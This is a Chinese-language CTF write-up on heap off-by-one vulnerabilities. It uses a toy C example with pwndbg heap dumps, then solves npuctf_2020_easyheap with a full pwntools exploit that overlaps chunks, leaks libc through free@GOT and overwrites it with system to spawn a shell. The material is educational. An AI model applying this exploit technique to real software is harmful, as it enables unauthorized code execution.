Off-by-One 漏洞分析与利用
概述
在刷 BUU 题目时遇到了两道 off-by-one 题目,这里记录一下学习过程。off-by-one 漏洞主要分为两种情况:
off-by-one:单字节溢出,且该字节可控off-by-null:单字节溢出,但只能溢出 \x00这两次遇到的都是 off-by-one,一般做法是利用溢出的字节修改 chunk 的 size 位,从而造成堆块重叠。 基础 Off-by-One 分析
假设存在以下代码:
#include<stdio.h>#include<stdlib.h>#include<string.h>
int main(){ char *ptr1 = malloc(0x10); char *ptr2 = malloc(0x10); read(0,ptr1,0x10+1); free(ptr1); free(ptr2); ptr1 = 0; ptr2 = 0; return 0;}在第 8 行:read(0,ptr1,0x10+1); 可以多读取一个字节,导致单字节溢出。 调试过程
assembly
pwndbg> disas mainDump of assembler code for function main: 0x0000000000401176 <+0>: endbr64 0x000000000040117a <+4>: push rbp 0x000000000040117b <+5>: mov rbp,rsp 0x000000000040117e <+8>: sub rsp,0x10 0x0000000000401182 <+12>: mov edi,0x10 0x0000000000401187 <+17>: call 0x401080 <malloc@plt> 0x000000000040118c <+22>: mov QWORD PTR [rbp-0x8],rax 0x0000000000401190 <+26>: mov edi,0x10 0x0000000000401195 <+31>: call 0x401080 <malloc@plt> 0x000000000040119a <+36>: mov QWORD PTR [rbp-0x10],rax 0x000000000040119e <+40>: mov rax,QWORD PTR [rbp-0x8] 0x00000000004011a2 <+44>: mov edx,0x11 0x00000000004011a7 <+49>: mov rsi,rax 0x00000000004011aa <+52>: mov edi,0x0 0x00000000004011af <+57>: mov eax,0x0 0x00000000004011b4 <+62>: call 0x401070 <read@plt> 0x00000000004011b9 <+67>: mov rax,QWORD PTR [rbp-0x8] 0x00000000004011bd <+71>: mov rdi,rax 0x00000000004011c0 <+74>: call 0x401060 <free@plt> 0x00000000004011c5 <+79>: mov rax,QWORD PTR [rbp-0x10] 0x00000000004011c9 <+83>: mov rdi,rax 0x00000000004011cc <+86>: call 0x401060 <free@plt> 0x00000000004011d1 <+91>: mov QWORD PTR [rbp-0x8],0x0 0x00000000004011d9 <+99>: mov QWORD PTR [rbp-0x10],0x0 0x00000000004011e1 <+107>: mov eax,0x0 0x00000000004011e6 <+112>: leave 0x00000000004011e7 <+113>: retEnd of assembler dump将断点下在 0x00000000004011b4 查看 chunk:
pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x405000Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSEAddr: 0x405290Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSEAddr: 0x4052b0Size: 0x20 (with flag bits: 0x21)
Top chunk | PREV_INUSEAddr: 0x4052d0Size: 0x20d30 (with flag bits: 0x20d31)
====================== vis =================================0x405290 0x0000000000000000 0x0000000000000021 ........!.......0x4052a0 0x0000000000000000 0x0000000000000000 ................0x4052b0 0x0000000000000000 0x0000000000000021 ........!.......0x4052c0 0x0000000000000000 0x0000000000000000 ................输入之前的状态,输入之后:
pwndbg> cyclic 16aaaaaaaabaaaaaaapwndbg> niaaaaaaaabaaaaaaaq # 多输入了一个 q
============== vis =======================0x405290 0x0000000000000000 0x0000000000000021 ........!.......0x4052a0 0x6161616161616161 0x6161616161616162 aaaaaaaabaaaaaaa0x4052b0 0x0000000000000071 0x0000000000000021 q.......!.......0x4052c0 0x0000000000000000 0x0000000000000000 ................发现将 q 输入到了 chunk2 的 prev_size 字段,这是一个有用的溢出,但”杀伤力”有限。 利用 Off-by-One 修改 Size
如果能够将输入覆盖到 chunk 的 size 位,就可以修改 size 进而造成 chunk 重叠。
在堆机制中,当我们申请一个不被 0x10 整除的 chunk(64位),比如 0x18,会把下一个 chunk 的 prev_size 复用,作为当前 chunk 的 data 段来填写数据。
将源代码修改为: c
char *ptr1 = malloc(0x18);read(0,ptr1,0x18+1);再次调试:
pwndbg> b *0x00000000004011b4Breakpoint 2 at 0x4011b4pwndbg> c
============= heap ===========pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x405000Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSEAddr: 0x405290Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSEAddr: 0x4052b0Size: 0x20 (with flag bits: 0x21)
Top chunk | PREV_INUSEAddr: 0x4052d0Size: 0x20d30 (with flag bits: 0x20d31)
============= vis ============0x405290 0x0000000000000000 0x0000000000000021 ........!.......0x4052a0 0x0000000000000000 0x0000000000000000 ................0x4052b0 0x0000000000000000 0x0000000000000021 ........!.......0x4052c0 0x0000000000000000 0x0000000000000000 ................输入:
pwndbg> cyclic 24aaaaaaaabaaaaaaacaaaaaaapwndbg> niaaaaaaaabaaaaaaacaaaaaaaq
========== vis =================0x405290 0x0000000000000000 0x0000000000000021 ........!.......0x4052a0 0x6161616161616161 0x6161616161616162 aaaaaaaabaaaaaaa0x4052b0 0x6161616161616163 0x0000000000000071 caaaaaaaq.......0x4052c0 0x0000000000000000 0x0000000000000000 ................可以看到,这里把 size 修改成了 q 的 ASCII 值,轻松造成了 chunk overlap。
CTF 实例分析:npuctf_2020_easyheap
环境准备
bash
❯ pwninit npuctf_2020_easyheap[INFO] 当前已在虚拟环境中: ctf[INFO] 给二进制文件添加执行权限...[SUCCESS] 权限添加成功: npuctf_2020_easyheap
[INFO] 检查二进制文件保护:==================================
[*] '/mnt/d/pwn/PROJECT/BUUCTF/npuctf_2020_easyheap_/npuctf_2020_easyheap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
Stripped: No==================================
仅开启 Canary 和 NX,题目提示是 Ubuntu 18.04,使用 libc 2.27:bash
❯ clibc npuctf_2020_easyheap 2.27Creating backup: npuctf_2020_easyheap.bakAvailable glibc versions:
1. 2.27-3ubuntu1.5_amd64 2. 2.27-3ubuntu1.6_amd64 3. 2.27-3ubuntu1_amd64 Select (1-3): 3 Success: Patched npuctf_2020_easyheap with 2.27-3ubuntu1_amd64程序分析
Create 函数unsigned __int64 create(){ __int64 v0; // rbx int i; // [rsp+4h] [rbp-2Ch] size_t size; // [rsp+8h] [rbp-28h] char buf[8]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u); for ( i = 0; i <= 9; ++i ) { if ( !*((_QWORD *)&heaparray + i) ) { *((_QWORD *)&heaparray + i) = malloc(0x10uLL); if ( !*((_QWORD *)&heaparray + i) ) { puts("Allocate Error"); exit(1); } printf("Size of Heap(0x10 or 0x20 only) : "); read(0, buf, 8uLL); size = atoi(buf); if ( size != 24 && size != 56 ) exit(-1); v0 = *((_QWORD *)&heaparray + i); *(_QWORD *)(v0 + 8) = malloc(size); if ( !*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL) ) { puts("Allocate Error"); exit(2); } **((_QWORD **)&heaparray + i) = size; printf("Content:"); read_input(*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL), size); puts("Done!"); return __readfsqword(0x28u) ^ v5; } } return __readfsqword(0x28u) ^ v5;}创建一个 0x10 大小的 chunk,用于存放 size 和 content_addr 信息。 Edit 函数
unsigned __int64 edit(){ int v1; // [rsp+0h] [rbp-10h] char buf[4]; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( (unsigned int)v1 >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( *((_QWORD *)&heaparray + v1) ) { printf("Content: "); read_input(*(_QWORD *)(*((_QWORD *)&heaparray + v1) + 8LL), **((_QWORD **)&heaparray + v1) + 1LL); // 注意:这里把 size 取出来之后还 +1 了,存在 off-by-one 漏洞 puts("Done!"); } else { puts("How Dare you!"); } return __readfsqword(0x28u) ^ v3;}Show 函数
unsigned __int64 show(){ int v1; // [rsp+0h] [rbp-10h] char buf[4]; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( (unsigned int)v1 >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( *((_QWORD *)&heaparray + v1) ) { printf( "Size : %ld\nContent : %s\n", **((_QWORD **)&heaparray + v1), *(const char **)(*((_QWORD *)&heaparray + v1) + 8LL)); // 这里会把原来程序创建出来存放数据的 chunk 的 content_addr 的内容打印出来 puts("Done!"); } else { puts("How Dare you!"); } return __readfsqword(0x28u) ^ v3;}漏洞利用思路
利用 off-by-one 造成 chunk overlap
利用 show 函数泄漏 libc(通过修改 content_addr 为 free@GOT)
计算 libc 基地址和 system 地址
修改 free@GOT 为 system
删除包含 "/bin/sh" 的 chunk 获取 shell利用过程 步骤 1:创建三个 chunk python
def exp(): add(24, b'source') add(24, b'aaaa') add(24, b'bbbb')堆布局: text
[+] ============ HEAP ============[+]Allocated chunk | PREV_INUSEAddr: 0x3c533000Size: 0x250 (with flag bits: 0x251)
Allocated chunk | PREV_INUSEAddr: 0x3c533250Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSEAddr: 0x3c533270Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSEAddr: 0x3c533290Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSEAddr: 0x3c5332b0Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSEAddr: 0x3c5332d0Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSEAddr: 0x3c5332f0Size: 0x20 (with flag bits: 0x21)
Top chunk | PREV_INUSEAddr: 0x3c533310Size: 0x20cf0 (with flag bits: 0x20cf1)
[+] ============= VIS ==============[+]0x3c533250 0x0000000000000000 0x0000000000000021 ........!.......0x3c533260 0x0000000000000018 0x000000003c533280 .........2S<....0x3c533270 0x0000000000000000 0x0000000000000021 ........!.......0x3c533280 0x000a656372756f73 0x0000000000000000 source..........0x3c533290 0x0000000000000000 0x0000000000000021 ........!.......0x3c5332a0 0x0000000000000018 0x000000003c5332c0 .........2S<....0x3c5332b0 0x0000000000000000 0x0000000000000021 ........!.......0x3c5332c0 0x0000000a61616161 0x0000000000000000 aaaa............0x3c5332d0 0x0000000000000000 0x0000000000000021 ........!.......0x3c5332e0 0x0000000000000018 0x000000003c533300 .........3S<....0x3c5332f0 0x0000000000000000 0x0000000000000021 ........!.......0x3c533300 0x0000000a62626262 0x0000000000000000 bbbb............0x3c533310 0x0000000000000000 0x0000000000020cf1 ................ <-- Top chunk步骤 2:修改 chunk0 造成溢出
python
edit(0, b'/bin/sh\x00' + p64(0)*2 + p8(0x41))
修改后的堆布局:text
[+] =================== VIS ============= [+]0x26bae250 0x0000000000000000 0x0000000000000021 ........!.......0x26bae260 0x0000000000000018 0x0000000026bae280 ...........&....0x26bae270 0x0000000000000000 0x0000000000000021 ........!.......0x26bae280 0x0068732f6e69622f 0x0000000000000000 /bin/sh.........0x26bae290 0x0000000000000000 0x0000000000000041 ........A.......0x26bae2a0 0x0000000000000018 0x0000000026bae2c0 ...........&....0x26bae2b0 0x0000000000000000 0x0000000000000021 ........!.......0x26bae2c0 0x0000000a61616161 0x0000000000000000 aaaa............0x26bae2d0 0x0000000000000000 0x0000000000000021 ........!.......0x26bae2e0 0x0000000000000018 0x0000000026bae300 ...........&....0x26bae2f0 0x0000000000000000 0x0000000000000021 ........!.......0x26bae300 0x0000000a62626262 0x0000000000000000 bbbb............0x26bae310 0x0000000000000000 0x0000000000020cf1 ................ <-- Top chunk现在 head_chunk1 的 size 变成了 0x41,包含了 chunk1 的整个区域。 步骤 3:删除并重新申请 chunk1 python
delete(1) add(56, p64(0)*3 + p64(0x21) + p64(0x38) + p64(free_got))
修改后的堆布局:
text
[+] ============= VIS ============ [+]0x26748250 0x0000000000000000 0x0000000000000021 ........!.......0x26748260 0x0000000000000018 0x0000000026748280 ..........t&....0x26748270 0x0000000000000000 0x0000000000000021 ........!.......0x26748280 0x0068732f6e69622f 0x0000000000000000 /bin/sh.........0x26748290 0x0000000000000000 0x0000000000000041 ........A.......0x267482a0 0x0000000000000000 0x0000000000000000 ................0x267482b0 0x0000000000000000 0x0000000000000021 ........!.......0x267482c0 0x0000000000000038 0x0000000000602018 8........ `.....0x267482d0 0x000000000000000a 0x0000000000000021 ........!.......0x267482e0 0x0000000000000018 0x0000000026748300 ..........t&....0x267482f0 0x0000000000000000 0x0000000000000021 ........!.......0x26748300 0x0000000a62626262 0x0000000000000000 bbbb............0x26748310 0x0000000000000000 0x0000000000020cf1 ................ <-- Top chunk
成功将 content_addr 修改为 free@GOT。步骤 4:泄漏 libc 并计算地址
python
show(1)libc_base = uu64(ru(b'\x7f')[-6:]) - libc.sym.freesystem = libc_base + libc.sym.system步骤 5:修改 free@GOT 并触发
python
edit(1, p64(system))delete(0) # 此时 free("/bin/sh") 变为 system("/bin/sh")完整 EXP
python
#!/usr/bin/env python3from pwn import *
context(os='linux', arch='amd64', log_level='debug')binary = "npuctf_2020_easyheap"
if args.get("REMOTE"): io = remote("127.0.0.1", 8080)else: io = process(binary)
elf = ELF(binary)libc = ELF("/home/source/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
def add(size, content): sla('Your choice :', '1') sla('Size of Heap(0x10 or 0x20 only) : ', str(size)) sla('Content:', content)
def delete(idx): sla('Your choice :', '4') sla('Index :', str(idx))
def show(idx): sla('Your choice :', '3') sla('Index :', str(idx))
def edit(idx, content): sla('Your choice :', '2') sla('Index :', str(idx)) sla("Content: ", content)
def exp(): free_got = elf.got.free add(24, b'source') add(24, b'aaaa') add(24, b'bbbb') edit(0, b'/bin/sh\x00' + p64(0)*2 + p8(0x41)) delete(1) add(56, p64(0)*3 + p64(0x21) + p64(0x38) + p64(free_got))
show(1) libc_base = uu64(ru(b'\x7f')[-6:]) - libc.sym.free system = libc_base + libc.sym.system
edit(1, p64(system)) delete(0)
exp()itr()